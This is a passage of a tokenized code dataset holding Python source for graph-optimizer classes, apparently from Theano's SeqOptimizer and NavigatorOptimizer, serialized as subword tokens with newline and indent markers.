", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "l\\u", "names_", "=_", "[_", "o_", "._", "name_", "for_", "o_", "in_", "new", "\\u", "l_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "l_", "._", "name_", "in_", "new", "\\u", "l\\u", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "idx_", "=_", "new", "\\u", "l\\u", "names_", "._", "index_", "(_", "l_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "io", "1_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "io", "2_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "._", "print", "\\u", "summary_", "(_", "io", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "l_", "[_", "idx_", "]_", "._", "print", "\\u", "summary_", "(_", "io", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "io", "1_", "._", "read_", "(_", ")_", "==_", "io", "2_", "._", "read_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "l_", "in_", "prof", "1_", "[_", "0_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "p_", "=_", "prof", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "p_", "=_", "prof", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "t_", "[_", "idx_", "]_", "+=_", "p_", "[_", "1_", "]_", "[_", "p_", "[_", "0_", "]_", "._", "index_", "(_", "l_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "l_", ",_", "'", "merge", "\\u", "profile", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "assert_", "len_", "(_", "p_", "[_", "6_", "]_", "[_", "p_", "[_", "0_", "]_", "._", "index_", "(_", "l_", ")_", "]_", ")_", "==_", "len_", "(_", "new", "\\u", "sub\\u", "profile_", "[_", "idx_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "sub\\u", "profile_", "[_", "idx_", "]_", "=_", "l_", "._", "merge", "\\u", "profile_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "sub\\u", "profile_", "[_", "idx_", "]_", ",_", "p_", "[_", "6_", "]_", "[_", "p_", "[_", "0_", "]_", "._", "index_", "(_", "l_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "new", "\\u", "sub\\u", "profile_", "[_", "idx_", "]_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "l_", "in_", "prof", "1_", "[_", "0_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "prof", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "prof", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "t_", "._", "append_", "(_", "p_", "[_", "1_", "]_", "[_", "p_", "[_", "0_", "]_", "._", "index_", "(_", "l_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx_", "=_", "p_", "[_", "0_", "]_", "._", "index_", "(_", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "l_", "._", "append_", "(_", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "sub\\u", "profile_", "._", "append_", "(_", "p_", "[_", "6_", "]_", "[_", "idx_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "opt_", "=_", "Seq", "Optimizer_", "(_", "*_", "new", "\\u", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "need", " ", "to", " ", "assert", " ", "based", " ", "on", " ", "the", " ", "name", " ", "as", " ", "we", " ", "merge", " ", "als", "o", " ", "based", " ", "on_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "name", "._", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "set_", "(_", "[_", "l_", "._", "name_", "for_", "l_", "in_", "prof", "1_", "[_", "0_", "]_", "]_", ")_", "._", "issubset_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "set_", "(_", "[_", "l_", "._", "name_", "for_", "l_", "in_", "new", "\\u", "l_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "set_", "(_", "[_", "l_", "._", "name_", "for_", "l_", "in_", "prof", "2_", "[_", "0_", "]_", "]_", ")_", "._", "issubset_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "set_", "(_", "[_", "l_", "._", "name_", "for_", "l_", "in_", "new", "\\u", "l_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "new", "\\u", "t_", ")_", "==_", "len_", "(_", "new", "\\u", "opt_", ")_", "==_", "len_", "(_", "new", "\\u", "sub\\u", "profile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "new", "\\u", "opt_", ",_", "new", "\\u", "t_", ",_", "prof", "1_", "[_", "2_", "]_", "+_", "prof", "2_", "[_", "2_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "prof", "1_", "[_", "3_", "]_", "+_", "prof", "2_", "[_", "3_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "-_", "1_", ",_", "-_", "1_", ",_", "new", "\\u", "sub\\u", "profile_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Abstract", " ", "class", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "local", "\\u", "opt", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "Local", "Optimize", "r", " ", "to", " ", "appl", "y", " ", "over", " ", "a", " ", "Function", "Graph", " ", "(", "or", " ", "Non", "e", " ", "is", " ", "Ok", " ", "too", ").", "\\", "10", ";", " ", " ", " ", " ", "ignore", "\\u", "newt", "ree", "s", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Tru", "e", ":", " ", "new", " ", "subgraph", "s", " ", "return", "ed", " ", "by", " ", "an", " ", "optimization", " ", "is", " ", "not", " ", "a", "\\", "10", ";", " ", " ", "candidate", " ", "for", " ", "optimization", ".", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Fal", "se", ":", " ", "new", " ", "subgraph", "s", " ", "return", "ed", " ", "by", " ", "an", " ", "optimization", " ", "is", " ", "a", " ", "candidate", "\\", "10", ";", " ", " ", "for", " ", "optimization", ".", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "'", "auto", "':", " ", "let", " ", "the", " ", "local", "\\u", "opt", " ", "set", " ", "this", " ", "parameter", " ", "via", " ", "its", " ", "'", "reen", "tran", "t", "'", "\\", "10", ";", " ", " ", "attribute", ".", "\\", "10", ";", " ", " ", " ", " ", "fail", "ure", "\\u", "callback", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "function", " ", "tha", "t", " ", "take", "s", " ", "(", "exception", ",", " ", "navigator", ",", " ", "[(", "old", ",", " ", "new", "),", "\\", "10", ";", " ", " ", " ", " ", "(", "old", ",", "new", "),", "...]", ")", " ", "and", " ", "we", " ", "call", " ", "it", " ", "if", " ", "there", "'", "s", " ", "an", " ", "exception", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "the", " ", "trouble", " ", "is", " ", "from", " ", "local", "\\u", "opt", ".", "transform", "()", ",", " ", "the", " ", "new", " ", "variab", "les", "\\", "10", ";", " ", " ", " ", " ", "will", " ", "be", " ", "'", "Non", "e", "'.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "the", " ", "trouble", " ", "is", " ", "from", " ", "validation", " ", "(", "the", " ", "new", " ", "types", " ", "don", "'", "t", " ", "match", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "example", ")", " ", "then", " ", "the", " ", "new", " ", "variab", "les", " ", "will", " ", "be", " ", "the", " ", "ones", " ", "created", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "transform", "()", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "this", " ", "parameter", " ", "is", " ", "Non", "e", ",", " ", "then", " ", "exception", "s", " ", "are", " ", "not", " ", "cau", "ght", " ", "here", "\\", "10", ";", " ", " ", " ", " ", "(", "raise", "d", " ", "normal", "ly", ").", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "warn_", "(_", "exc_", ",_", "nav_", ",_", "repl", "\\u", "pairs_", ",_", "local", "\\u", "opt_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Fail", "ure", "\\u", "callback", " ", "for", " ", "Navigat", "or", "Optimize", "r", ":", " ", "print", " ", "traceback", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "config_", "._", "on", "\\u", "opt", "\\u", "error_", "!=_", "'", "ignore", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "logger_", "._", "error_", "(_", "\"", "Optim", "izatio", "n", " ", "fail", "ure", " ", "due", " ", "to", ":", " ", "%", "s", "\"_", "%_", "str_", "(_", "local", "\\u", "opt_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "logger_", "._", "error_", "(_", "\"", "node", ":", " ", "%", "s", "\"_", "%_", "str_", "(_", "node_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "logger_", "._", "error_", "(_", "\"", "TRACE", "BACK", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "logger_", "._", "error_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "config_", "._", "on", "\\u", "opt", "\\u", "error_", "==_", "'", "pdb", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pdb_", "._", "post", "\\u", "mort", "em_", "(_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "exc_", ",_", "Assert", "ion", "Error_", ")_", "or_", "config_", "._", "on", "\\u", "opt", "\\u", "error_", "==_", "'", "raise", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "alw", "ay", "s", " ", "crash", " ", "on", " ", "Assert", "ion", "Error", " ", "bec", "aus", "e", " ", "somet", "hing", " ", "may", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "seri", "ously", " ", "wrong", " ", "if", " ", "suc", "h", " ", "an", " ", "exception", " ", "is", " ", "raise", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "warn", "\\u", "inplace_", "(_", "exc_", ",_", "nav_", ",_", "repl", "\\u", "pairs_", ",_", "local", "\\u", "opt_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Fail", "ure", "\\u", "callback", " ", "for", " ", "Navigat", "or", "Optimize", "r", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Ignor", "e", " ", "Inco", "nsis", "ten", "cy", "Error", "s", ",", " ", "print", " ", "traceback", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "error", " ", "dur", "ing", " ", "replace", "ment", " ", "repl", "\\u", "pair", "s", " ", "is", " ", "set", ".", " ", "Ot", "her", "wis", "e", " ", "Non", "e", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "exc_", ",_", "Inco", "nsis", "ten", "cy", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Navigat", "or", "Optimizer_", "._", "warn_", "(_", "exc_", ",_", "nav_", ",_", "repl", "\\u", "pairs_", ",_", "local", "\\u", "opt_", ",_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "warn", "\\u", "ignore_", "(_", "exc_", ",_", "nav_", ",_", "repl", "\\u", "pairs_", ",_", "local", "\\u", "opt_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Fail", "ure", "\\u", "callback", " ", "for", " ", "Navigat", "or", "Optimize", "r", ":", " ", "ignore", " ", "all", " ", "error", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "local", "\\u", "opt_", ",_", "ignore", "\\u", "newt", "ree", "s_", "=_", "'", "auto", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fail", "ure", "\\u", "callback_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "local", "\\u", "opt_", "=_", "local", "\\u", "opt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ignore", "\\u", "newt", "ree", "s_", "==_", "'", "auto", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ignore", "\\u", "newt", "ree", "s_", "=_", "not_", "getattr_", "(_", "local", "\\u", "opt_", ",_", "'", "reen", "tran", "t", "'_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "ignore", "\\u", "newt", "ree", "s_", "=_", "ignore", "\\u", "newt", "ree", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail", "ure", "\\u", "callback_", "=_", "fail", "ure", "\\u", "callback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "attach", "\\u", "updater_", "(_", "self_", ",_", "fg", "raph_", ",_", "importer_", ",_", "prune", "r_", ",_", "chin", "_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Install", " ", "some", " ", "Function", "Graph", " ", "listeners", " ", "to", " ", "help", " ", "the", " ", "navigator", " ", "deal", " ", "with", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "ignore", "\\u", "trees", "-", "relate", "d", " ", "functional", "it", "y", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "importer", "\\", "10", ";", " ", " ", " ", " ", "Function", " ", "tha", "t", " ", "will", " ", "be", " ", "call", "ed", " ", "whe", "neve", "r", " ", "optimization", "s", " ", "add", " ", "stu", "ff", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "the", " ", "graph", ".", "\\", "10", ";", " ", " ", " ", " ", "prune", "r", "\\", "10", ";", " ", " ", " ", " ", "Function", " ", "to", " ", "be", " ", "call", "ed", " ", "whe", "n", " ", "optimization", "s", " ", "remove", " ", "stu", "ff", "\\", "10", ";", " ", " ", " ", " ", "from", " ", "the", " ", "graph", ".", "\\", "10", ";", " ", " ", " ", " ", "chin", "\\", "10", ";", " ", " ", " ", " ", "\"", "on", " ", "change", " ", "input", "\"", " ", "call", "ed", " ", "whe", "neve", "r", " ", "a", " ", "node", "'", "s", " ", "inputs", " ", "change", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", "\\", "10", ";", " ", " ", " ", " ", "-------", "\\", "10", ";", " ", " ", " ", " ", "object", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "Function", "Graph", " ", "plugin", " ", "tha", "t", " ", "handle", "s", " ", "the", " ", "three", " ", "task", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Keep", " ", "this", " ", "aro", "und", " ", "so", " ", "tha", "t", " ", "you", " ", "can", " ", "deta", "ch", " ", "late", "r", "!", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "ignore", "\\u", "newt", "ree", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "importer_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "importer_", "is_", "None_", "and_", "prune", "r_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "u_", "=_", "Updater_", "(_", "importer_", ",_", "prune", "r_", ",_", "chin", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fg", "raph_", "._", "attach", "\\u", "feature_", "(_", "u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "deta", "ch", "\\u", "updater_", "(_", "self_", ",_", "fg", "raph_", ",_", "u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Und", "o", " ", "the", " ", "work", " ", "of", " ", "attach", "\\u", "updater", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "u", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "return", "-", "value", " ", "of", " ", "attach", "\\u", "updater", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", "\\", "10", ";", " ", " ", " ", " ", "-------", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "u_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fg", "raph_", "._", "remove", "\\u", "feature_", "(_", "u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Navigat", "or", "Optimizer_", "(_", "Optimizer_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "process", "\\u", "node_", "(_", "self_", ",_", "fg", "raph_", ",_", "node_", ",_", "lop", "t_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "function", " ", "will", " ", "use", " ", "`", "lop", "t", "`", " ", "to", " ", "`", "transform", "`", " ", "the", " ", "`", "node", "`.", " ", "The", "\\", "10", ";", " ", " ", " ", " ", "`", "transform", "`", " ", "method", " ", "will", " ", "return", " ", "eit", "her", " ", "Fal", "se", " ", "or", " ", "a", " ", "list", " ", "of", " ", "Varia", "bles", "\\", "10", ";", " ", " ", " ", " ", "tha", "t", " ", "are", " ", "inten", "ded", " ", "to", " ", "replace", " ", "`", "node", ".", "output", "s", "`.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "the", " ", "fg", "raph", " ", "accepts", " ", "the", " ", "replace", "ment", ",", " ", "then", " ", "the", " ", "optimization", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "success", "ful", ",", " ", "and", " ", "this", " ", "function", " ", "return", "s", " ", "Tru", "e", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "there", " ", "are", " ", "no", " ", "replace", "ment", " ", "candidate", "s", " ", "or", " ", "the", " ", "fg", "raph", " ", "reject", "s", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "replace", "ment", "s", ",", " ", "this", " ", "function", " ", "return", "s", " ", "Fal", "se", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Parameter", "s", "\\", "10", ";", " ", " ", " ", " ", "----------", "\\", "10", ";", " ", " ", " ", " ", "fg", "raph", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "Function", "Graph", ".", "\\", "10", ";", " ", " ", " ", " ", "node", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "Apply", " ", "instance", " ", "in", " ", "`", "fg", "raph", "`", "\\", "10", ";", " ", " ", " ", " ", "lop", "t", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "Local", "Optimize", "r", " ", "instance", " ", "tha", "t", " ", "may", " ", "have", " ", "a", " ", "bett", "er", " ", "idea", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "how", " ", "to", " ", "compute", " ", "node", "'", "s", " ", "output", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", "\\", "10", ";", " ", " ", " ", " ", "-------", "\\", "10", ";", " ", " ", " ", " ", "bool", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", " ", "iff", " ", "the", " ", "`", "node", "`", "'", "s", " ", "output", "s", " ", "wer", "e", " ", "replaced", " ", "in", " ", "the", " ", "`", "fg", "raph", "`.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lop", "t_", "=_", "lop", "t_", "or_", "self_", "._", "local", "\\u", "opt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "replacements_", "=_", "lop", "t_", "._", "transform_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "fail", "ure", "\\u", "callback_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail", "ure", "\\u", "callback_", "(_", "e_", ",_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "(_", "x_", ",_", "None_", ")_", "for_", "x_", "in_", "node_", "._", "outputs_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lop", "t_", ",_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "replacements_", "is_", "False_", "or_", "replacements_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "old", "\\u", "vars_", "=_", "node_", "._", "outputs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "replacements_", ",_", "dict_", ")_", ":_", 